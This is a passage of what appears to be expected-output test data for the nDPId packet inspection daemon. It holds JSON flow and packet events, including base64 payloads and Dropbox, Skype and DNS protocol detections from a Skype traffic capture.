jQyLCA1NjgzOTU4MzMsIDU5NDI0Njk1NCwgNTk4MDYxMDY2LCA2MTU5ODMzNzksIDcyMDA1ODM2MSwgNzM1MDUxODMwLCA3MzYzNDE1MjgsIDc0MTI1NTYxMywgNzc2MDg3MjQ3LCA3ODA4NzA1ODEsIDc4Mjk4MTk0OSwgNzg1MjY2MTc3LCA4MTg3NTI3MTAsIDg1NTY4MjM5MCwgODg0MTIwMTMyLCA5MDg5MTQ4NjhdfQ=="} +00527{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1161,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":196,"flow_packet_id":1,"flow_first_seen":1431970678945,"flow_last_seen":0,"flow_tot_l4_data_len":510,"flow_min_l4_data_len":510,"flow_max_l4_data_len":510,"flow_avg_l4_data_len":510,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"255.255.255.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","ndpi": {"proto":"Dropbox","breed":"Acceptable","category":"Cloud"}} +00492{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1162,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":197,"flow_packet_id":1,"flow_first_seen":1431970678946,"flow_last_seen":0,"flow_tot_l4_data_len":510,"flow_min_l4_data_len":510,"flow_max_l4_data_len":510,"flow_avg_l4_data_len":510,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01089{"flow_id":197,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1162,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970678,"pkt_ts_usec":946074,"pkt_caplen":544,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":544,"pkt_l4_len":510,"pkt":"\/\/\/\/\/\/\/\/PBXCt3IOCABFAAISZSMAAEARj0bAqAEiwKgB\/0RcRFwB\/jf1eyJob3N0X2ludCI6IDE1NzMxOTU0NDUsICJ2ZXJzaW9uIjogWzEsIDhdLCAiZGlzcGxheW5hbWUiOiAiIiwgInBvcnQiOiAxNzUwMCwgIm5hbWVzcGFjZXMiOiBbMTQ4MTkzMzcsIDE3NjA5OTYzLCAyMDY0OTM0OSwgMjg1MjE2MDcsIDU4MzQ0OTk2LCA2MDU5NDk4MywgNjQ0MzYwOTksIDk2ODUzMjI0LCA5OTQ2OTc3MywgMTAxMDQ3OTk2LCAxMDgxNTkxMDIsIDEyNTU0MDU2NiwgMTc2OTY0MzA3LCAyNDM2ODI5ODYsIDI0NzkyNTA4NSwgMjYwNDY1MjYxLCAyNzA0MDQ3NDIsIDI4Mzg2MTQ1NywgNDI0NTQwMTk3LCA0NDgzOTczOTMsIDQ1MTQ3MjY1OCwgNTExNzA2NjQyLCA1NjgzOTU4MzMsIDU5NDI0Njk1NCwgNTk4MDYxMDY2LCA2MTU5ODMzNzksIDcyMDA1ODM2MSwgNzM1MDUxODMwLCA3MzYzNDE1MjgsIDc0MTI1NTYxMywgNzc2MDg3MjQ3LCA3ODA4NzA1ODEsIDc4Mjk4MTk0OSwgNzg1MjY2MTc3LCA4MTg3NTI3MTAsIDg1NTY4MjM5MCwgODg0MTIwMTMyLCA5MDg5MTQ4NjhdfQ=="} +00525{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1162,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":197,"flow_packet_id":1,"flow_first_seen":1431970678946,"flow_last_seen":0,"flow_tot_l4_data_len":510,"flow_min_l4_data_len":510,"flow_max_l4_data_len":510,"flow_avg_l4_data_len":510,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","ndpi": {"proto":"Dropbox","breed":"Acceptable","category":"Cloud"}} +00437{"flow_id":109,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1163,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970678,"pkt_ts_usec":984866,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA0zltAADYG9xFv3U2vwKgBIpxeyDDQUSxaCFXtQ4ARAB062gAAAQEICk2j9mU+MeNf"} +00487{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1164,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":198,"flow_packet_id":1,"flow_first_seen":1431970678985,"flow_last_seen":0,"flow_tot_l4_data_len":43,"flow_min_l4_data_len":43,"flow_max_l4_data_len":43,"flow_avg_l4_data_len":43,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"65.55.223.24","src_port":13021,"dst_port":40029,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00454{"flow_id":198,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1164,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970678,"pkt_ts_usec":985147,"pkt_caplen":77,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":77,"pkt_l4_len":43,"pkt":"0NQSxnP1PBXCt3IOCABFAAA\/p1UAAEAR8T7AqAEiQTffGDLdnF0AK+jLe6kC6fGNK2goAXsNse6RdApll6kRm4bOwgAP2hC\/D2eOAyk="} +00527{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1164,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":198,"flow_packet_id":1,"flow_first_seen":1431970678985,"flow_last_seen":0,"flow_tot_l4_data_len":43,"flow_min_l4_data_len":43,"flow_max_l4_data_len":43,"flow_avg_l4_data_len":43,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"65.55.223.24","src_port":13021,"dst_port":40029,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00489{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1165,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":199,"flow_packet_id":1,"flow_first_seen":1431970678985,"flow_last_seen":0,"flow_tot_l4_data_len":39,"flow_min_l4_data_len":39,"flow_max_l4_data_len":39,"flow_avg_l4_data_len":39,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.235.158","src_port":13021,"dst_port":40027,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00449{"flow_id":199,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1165,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970678,"pkt_ts_usec":985147,"pkt_caplen":73,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":73,"pkt_l4_len":39,"pkt":"0NQSxnP1PBXCt3IOCABFAAA7GMMAAEARF0\/AqAEinTfrnjLdnFsAJ5Hde6sCJ8R84KyvegILw5PDMDyyzP0qbIKzwXJl3e6CLA=="} +00529{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1165,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":199,"flow_packet_id":1,"flow_first_seen":1431970678985,"flow_last_seen":0,"flow_tot_l4_data_len":39,"flow_min_l4_data_len":39,"flow_max_l4_data_len":39,"flow_avg_l4_data_len":39,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.235.158","src_port":13021,"dst_port":40027,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00487{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1166,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":200,"flow_packet_id":1,"flow_first_seen":1431970678985,"flow_last_seen":0,"flow_tot_l4_data_len":36,"flow_min_l4_data_len":36,"flow_max_l4_data_len":36,"flow_avg_l4_data_len":36,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"65.55.223.16","src_port":13021,"dst_port":40032,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":200,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1166,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970678,"pkt_ts_usec":985207,"pkt_caplen":70,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":70,"pkt_l4_len":36,"pkt":"0NQSxnP1PBXCt3IOCABFAAA49SsAAEARo3fAqAEiQTffEDLdnGAAJBSJe60CT4+h0ZiCfQwqP7NMcZ5acjfF0jfx+oM28A=="} +00527{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1166,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":200,"flow_packet_id":1,"flow_first_seen":1431970678985,"flow_last_seen":0,"flow_tot_l4_data_len":36,"flow_min_l4_data_len":36,"flow_max_l4_data_len":36,"flow_avg_l4_data_len":36,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"65.55.223.16","src_port":13021,"dst_port":40032,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00494{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1167,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":201,"flow_packet_id":1,"flow_first_seen":1431970679027,"flow_last_seen":0,"flow_tot_l4_data_len":510,"flow_min_l4_data_len":510,"flow_max_l4_data_len":510,"flow_avg_l4_data_len":510,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.92","dst_ip":"255.255.255.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01092{"flow_id":201,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1167,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970679,"pkt_ts_usec":27972,"pkt_caplen":544,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":544,"pkt_l4_len":510,"pkt":"\/\/\/\/\/\/\/\/xCwDBkn+CABFAAISpvoAAEARD93AqAFc\/\/\/\/\/0RcRFwB\/v9VeyJob3N0X2ludCI6IDMzNzUzNTk1OTMsICJ2ZXJzaW9uIjogWzEsIDhdLCAiZGlzcGxheW5hbWUiOiAiIiwgInBvcnQiOiAxNzUwMCwgIm5hbWVzcGFjZXMiOiBbMTQ4MTkzMzcsIDE3NjA5OTYzLCAyMDY0OTM0OSwgMjg1MjE2MDcsIDU4MzQ0OTk2LCA2MDU5NDk4MywgNjQ0MzYwOTksIDk2ODUzMjI0LCA5OTQ2OTc3MywgMTAxMDQ3OTk2LCAxMDgxNTkxMDIsIDEyNTU0MDU2NiwgMTc2OTY0MzA3LCAyNDM2ODI5ODYsIDI0NzkyNTA4NSwgMjYwNDY1MjYxLCAyNzA0MDQ3NDIsIDI4Mzg2MTQ1NywgNDI0NTQwMTk3LCA0NDgzOTczOTMsIDQ1MTQ3MjY1OCwgNTExNzA2NjQyLCA1NjgzOTU4MzMsIDU5NDI0Njk1NCwgNTk4MDYxMDY2LCA2MTU5ODMzNzksIDcyMDA1ODM2MSwgNzM1MDUxODMwLCA3MzYzNDE1MjgsIDc0MTI1NTYxMywgNzc2MDg3MjQ3LCA3ODA4NzA1ODEsIDc4Mjk4MTk0OSwgNzg1MjY2MTc3LCA4MTg3NTI3MTAsIDg1NTY4MjM5MCwgODg0MTIwMTMyLCA5MDg5MTQ4NjhdfQ=="} +00527{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1167,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":201,"flow_packet_id":1,"flow_first_seen":1431970679027,"flow_last_seen":0,"flow_tot_l4_data_len":510,"flow_min_l4_data_len":510,"flow_max_l4_data_len":510,"flow_avg_l4_data_len":510,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.92","dst_ip":"255.255.255.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","ndpi": {"proto":"Dropbox","breed":"Acceptable","category":"Cloud"}} +00492{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1168,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":202,"flow_packet_id":1,"flow_first_seen":1431970679028,"flow_last_seen":0,"flow_tot_l4_data_len":510,"flow_min_l4_data_len":510,"flow_max_l4_data_len":510,"flow_avg_l4_data_len":510,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.92","dst_ip":"192.168.1.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01088{"flow_id":202,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1168,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970679,"pkt_ts_usec":28646,"pkt_caplen":544,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":544,"pkt_l4_len":510,"pkt":"\/\/\/\/\/\/\/\/xCwDBkn+CABFAAISy7gAAEARKHfAqAFcwKgB\/0RcRFwB\/jyueyJob3N0X2ludCI6IDMzNzUzNTk1OTMsICJ2ZXJzaW9uIjogWzEsIDhdLCAiZGlzcGxheW5hbWUiOiAiIiwgInBvcnQiOiAxNzUwMCwgIm5hbWVzcGFjZXMiOiBbMTQ4MTkzMzcsIDE3NjA5OTYzLCAyMDY0OTM0OSwgMjg1MjE2MDcsIDU4MzQ0OTk2LCA2MDU5NDk4MywgNjQ0MzYwOTksIDk2ODUzMjI0LCA5OTQ2OTc3MywgMTAxMDQ3OTk2LCAxMDgxNTkxMDIsIDEyNTU0MDU2NiwgMTc2OTY0MzA3LCAyNDM2ODI5ODYsIDI0NzkyNTA4NSwgMjYwNDY1MjYxLCAyNzA0MDQ3NDIsIDI4Mzg2MTQ1NywgNDI0NTQwMTk3LCA0NDgzOTczOTMsIDQ1MTQ3MjY1OCwgNTExNzA2NjQyLCA1NjgzOTU4MzMsIDU5NDI0Njk1NCwgNTk4MDYxMDY2LCA2MTU5ODMzNzksIDcyMDA1ODM2MSwgNzM1MDUxODMwLCA3MzYzNDE1MjgsIDc0MTI1NTYxMywgNzc2MDg3MjQ3LCA3ODA4NzA1ODEsIDc4Mjk4MTk0OSwgNzg1MjY2MTc3LCA4MTg3NTI3MTAsIDg1NTY4MjM5MCwgODg0MTIwMTMyLCA5MDg5MTQ4NjhdfQ=="} +00525{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1168,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":202,"flow_packet_id":1,"flow_first_seen":1431970679028,"flow_last_seen":0,"flow_tot_l4_data_len":510,"flow_min_l4_data_len":510,"flow_max_l4_data_len":510,"flow_avg_l4_data_len":510,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.92","dst_ip":"192.168.1.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","ndpi": {"proto":"Dropbox","breed":"Acceptable","category":"Cloud"}} +00524{"flow_id":130,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1169,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970679,"pkt_ts_usec":53222,"pkt_caplen":128,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":128,"pkt_l4_len":94,"pkt":"PBXCt3IO0NQSxnP1CABFAAByUWlAADYG2ahABBemwKgBIgG7yDUuR6KbNMjLa4AZAB0lqwAAAQEICkxDA\/w+MjKmHICQbtHFQnC9psgvY9YKQc8qPv8hKVwzZzoO3xpEQw9YsjMO6v0VQd\/siDDiwWhBpVXKCbrCFreU7q7JA2M="} +00420{"flow_id":130,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1170,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970679,"pkt_ts_usec":53339,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"0NQSxnP1PBXCt3IOCABFAAAo3N9AAEAGRHzAqAEiQAQXpsg1Abs0yMtrAAAAAFAEAADMRwAA"} +00450{"flow_id":179,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1171,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970679,"pkt_ts_usec":129453,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8FdtAAEAG2Z\/AqAEi1cezr8hFnF3LCMHILu+4HYAYECoLvAAAAQEICj4yM7dO3xkb8jl+H1rFkgE="} +00511{"flow_id":192,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1172,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970679,"pkt_ts_usec":478570,"pkt_caplen":119,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":119,"pkt_l4_len":85,"pkt":"0NQSxnP1PBXCt3IOCABFAABpP+ZAAEAGsA7AqAEinTfrmMhKAbuh9dMOzkYJiIAYECyZZwAAAQEICj4yNRNMXimi86hE3Mf+F71gUhXfICsOYAQVmYXa6zVmVAN\/UCwMTk1xoRWYRdaWkDsfzScQ6Y1RzsI3trk="} +00449{"flow_id":187,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1173,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970679,"pkt_ts_usec":551817,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA89DtAAEAG++XAqAEinTfrmMhInF05JqcNEQTd4oAYEClAdQAAAQEICj4yNVxMXigTaJ2t5RvhjU8="} +00517{"flow_id":158,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1174,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970679,"pkt_ts_usec":556480,"pkt_caplen":121,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":121,"pkt_l4_len":87,"pkt":"0NQSxnP1PBXCt3IOCABFAABrna9AAEAGu03AqAEinTeCjsg8AbsAEWqgQyFuW4AYECxw0AAAAQEICj4yNWBOwLdijvxAZZgUoCkBH\/EVHhRNRbBof0ntyHRIt71VUzxiPflWQfiWlCD80Wr\/3G66XhsettJAtcl5eA=="} +00547{"flow_id":75,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1175,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970679,"pkt_ts_usec":567629,"pkt_caplen":145,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":145,"pkt_l4_len":111,"pkt":"PBXCt3IO0NQSxnP1CABFAACDBSBAADYGw4Bv3UotwKgBIgG7yCgNTasMSHrP+4AYAB2qogAAAQEICk2HyQg+McjnFgMBAEoCAABGAwFAG+SGAq3gKeF3dOVEucmctDExXgLdd50VSpYJul2ocCAcoOT2TGNRri+OTuHmdmoKiNXYxVyumMXkgfIqab+QWAAFAA=="} +00421{"flow_id":75,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1176,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970679,"pkt_ts_usec":567725,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"0NQSxnP1PBXCt3IOCABFAAAoD41AAEAGr27AqAEib91KLcgoAbtIes\/7AAAAAFAEAABRsgAA"} +00483{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1179,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":203,"flow_packet_id":1,"flow_first_seen":1431970679839,"flow_last_seen":0,"flow_tot_l4_data_len":54,"flow_min_l4_data_len":54,"flow_max_l4_data_len":54,"flow_avg_l4_data_len":54,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.1","src_port":60413,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00469{"flow_id":203,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1179,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970679,"pkt_ts_usec":839799,"pkt_caplen":88,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":88,"pkt_l4_len":54,"pkt":"0NQSxnP1PBXCt3IOCABFAABK0kgAAEARJOfAqAEiwKgBAev9ADUANqf\/XW0BAAABAAAAAAAAAzMzNQEwATcBNwEzBHJzdDABcgVza3lwZQNuZXQAAAEAAQ=="} +00661{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1179,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":203,"flow_packet_id":1,"flow_first_seen":1431970679839,"flow_last_seen":0,"flow_tot_l4_data_len":54,"flow_min_l4_data_len":54,"flow_max_l4_data_len":54,"flow_avg_l4_data_len":54,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.1","src_port":60413,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Skype","breed":"Acceptable","category":"VoIP"},"dns": {"query":"335.0.7.7.3.rst0.r.skype.net","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00483{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1180,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":204,"flow_packet_id":1,"flow_first_seen":1431970679839,"flow_last_seen":0,"flow_tot_l4_data_len":54,"flow_min_l4_data_len":54,"flow_max_l4_data_len":54,"flow_avg_l4_data_len":54,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.1","src_port":64364,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00468{"flow_id":204,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1180,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970679,"pkt_ts_usec":839976,"pkt_caplen":88,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":88,"pkt_l4_len":54,"pkt":"0NQSxnP1PBXCt3IOCABFAABKzS8AAEARKgDAqAEiwKgBAftsADUANoJ0c24BAAABAAAAAAAAAzMzNQEwATcBNwEzBHJzdDABcgVza3lwZQNuZXQAABwAAQ=="} +00662{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1180,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":204,"flow_packet_id":1,"flow_first_seen":1431970679839,"flow_last_seen":0,"flow_tot_l4_data_len":54,"flow_min_l4_data_len":54,"flow_max_l4_data_len":54,"flow_avg_l4_data_len":54,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.1","src_port":64364,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Skype","breed":"Acceptable","category":"VoIP"},"dns": {"query":"335.0.7.7.3.rst0.r.skype.net","num_queries":0,"num_answers":0,"reply_code":0,"query_type":28,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00449{"flow_id":147,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1181,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970679,"pkt_ts_usec":871076,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8RfhAAEAGdY7AqAEib91Njsg4nE30S7wpxRcMPYAYECn7nQAAAQEICj4yNpdNkBTphTv5WfSZuu0="} +00490{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1182,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":205,"flow_packet_id":1,"flow_first_seen":1431970679995,"flow_last_seen":0,"flow_tot_l4_data_len":39,"flow_min_l4_data_len":39,"flow_max_l4_data_len":39,"flow_avg_l4_data_len":39,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"213.199.179.149","src_port":13021,"dst_port":40030,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00449{"flow_id":205,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1182,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970679,"pkt_ts_usec":995024,"pkt_caplen":73,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":73,"pkt_l4_len":39,"pkt":"0NQSxnP1PBXCt3IOCABFAAA7shQAAEARfXbAqAEi1cezlTLdnF4AJ7D1e68CWBP9byLKqG9T\/ZSkhpqmfvjcm+3DFpOZwv2yxQ=="} +00530{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1182,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":205,"flow_packet_id":1,"flow_first_seen":1431970679995,"flow_last_seen":0,"flow_tot_l4_data_len":39,"flow_min_l4_data_len":39,"flow_max_l4_data_len":39,"flow_avg_l4_data_len":39,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"213.199.179.149","src_port":13021,"dst_port":40030,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00487{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1183,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":206,"flow_packet_id":1,"flow_first_seen":1431970679995,"flow_last_seen":0,"flow_tot_l4_data_len":33,"flow_min_l4_data_len":33,"flow_max_l4_data_len":33,"flow_avg_l4_data_len":33,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.56.52.29","src_port":13021,"dst_port":40010,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00441{"flow_id":206,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1183,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970679,"pkt_ts_usec":995025,"pkt_caplen":67,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":67,"pkt_l4_len":33,"pkt":"0NQSxnP1PBXCt3IOCABFAAA12TQAAEARDmTAqAEinTg0HTLdnEoAIVxje7ECiU\/XVCamnPFSSydeUAuZRUP3ucHK0w=="} +00527{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1183,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":206,"flow_packet_id":1,"flow_first_seen":1431970679995,"flow_last_seen":0,"flow_tot_l4_data_len":33,"flow_min_l4_data_len":33,"flow_max_l4_data_len":33,"flow_avg_l4_data_len":33,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.56.52.29","src_port":13021,"dst_port":40010,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00437{"flow_id":120,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1186,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970680,"pkt_ts_usec":340618,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA0rbJAADYGF7tv3U2vwKgBIgG7yDJl2k6modh+KIARAB3sngAAAQEICk2j97g+Meis"} 